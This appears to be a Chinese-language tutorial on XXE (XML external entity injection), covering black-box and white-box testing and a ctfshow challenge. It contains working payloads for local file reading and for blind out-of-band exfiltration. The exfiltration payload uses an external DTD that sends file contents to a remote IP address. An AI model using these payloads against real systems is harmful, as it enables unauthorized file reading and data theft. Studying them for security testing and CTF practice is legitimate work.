前言
什么是XXE(xml外部实体注入漏洞)? 就是网站以xml传输数据 的时候我们截取他的传输流进行修改(网站没有对我们的输入进行过滤) 添加恶意代码 导致数据传输到后台 后台解析xml形式 导致恶意代码被执行
几种常见的传输数据的模式:
1、XML
还有几种模式
普通 :
user=xxx&&pass=xxx
json
{
{
admin:123
}
}
为什么介绍这个? 就是不同的文件传输模式是会影响到我们的注入的探针的写入形式
因为 数据的传输是前后端呼应的 : 所以我们的输入在后台是进行解密的
黑盒测试
黑盒测试我们以 本地的源码进行测试
XXE的payload 这里注意 需要在远程的服务器上写入 两个文件
1、读取文件:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/1.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>1.1、带外测试:
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>2、外部引用实体dtd:
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/e.txt">3、无回显读文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
4、伪协议玩法
本地先抓包进行判断 xxe是有回显的还是无回显的
那就可以进行文件的读取 (其实XXE实体的注入 还可以进行其他的操作 比如 命令的执行 但是这个一般都是 框架的安全)
演示:
加入这个d:\\下的1.txt是我们的配置文件
这个有个限制就是php版本需要是5 开头的 因为高版本的这个危险的函数早就鸡鸡了
还有个就是密码随便输就行 都可以进行读取
案例二
一个文本输入的网站 (类似于留言版 这里网站大多会使用 数据传送格式 不然会造成数据的丢失)为什么使用 XML(他是 序列化的传输)
我们右键看一下源码
发现信息就需要进行利用 抓一下包
数据是回显的
为什么后边要加一个 root 这个就是系统的区别了 win是不需要的 但是 linux看这个配置文件是需要root权限
白盒无回显
先说一下思路无回显 :
1、带外 除了使用dnslog 还可以直接使用 自己的服务器
2、 外部xml实体注入
外部引用dtd库文件(远程代码访问dtd之后就会解析里面的内容xml的特性)进行读取文件(oob盲注 外部引用dtd)
(原理就是把想读取的文件 的 内容 写到其他的空文件)从而实现读取、
白盒测试思路:
1、根据功能看代码 : 如文件的上传的绕过我们黑盒是很难知道逻辑的 只能猜 但是根据这个功能 我们找到相应的代码函数 (move_file_upload)就能分析他的过滤机制
2、根据代码看功能 就是白盒我们知道代码但是不知道 这个漏洞发生在哪里的时候就需要这样做 进行全局搜索我们 了解的这个漏洞的相应的功能
XXE白盒测试的函数 simplexml_load_string
先玩无回显
带外之后是不是就能 直接执行命令了
但是现在带来的是第二个玩法 oob盲注
就是外部的xxe(远端服务器准备 一个 写入的文件 一个dtd库访问使其触发(
test.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
))远程访问的作用
之后服务器就会出现这个file.txt
如果执行不了就给与适当的权限
白盒测试
根据函数 找位置
再找功能是那个网页的页面实现的
右键转到引用
看引用 然后浏览器跳转到 页面 进行测试就OK了
演示ctfshow的题目:
解析完我构造 这个的大概意思就是 需要使用 ctfshow 包裹我们的输入才能执行
<!DOCTYPE xiaodi [
<!ELEMENT ctfshow ANY >
<!ENTITY flag SYSTEM "file:///flag">
]>
<root>
<ctfshow>&flag;</ctfshow>
</root>
这个root哪里来的 这个其实是为了成功读取的一个伪装
<!ELEMENT ctfshow ANY > 定义一个ctfshow标签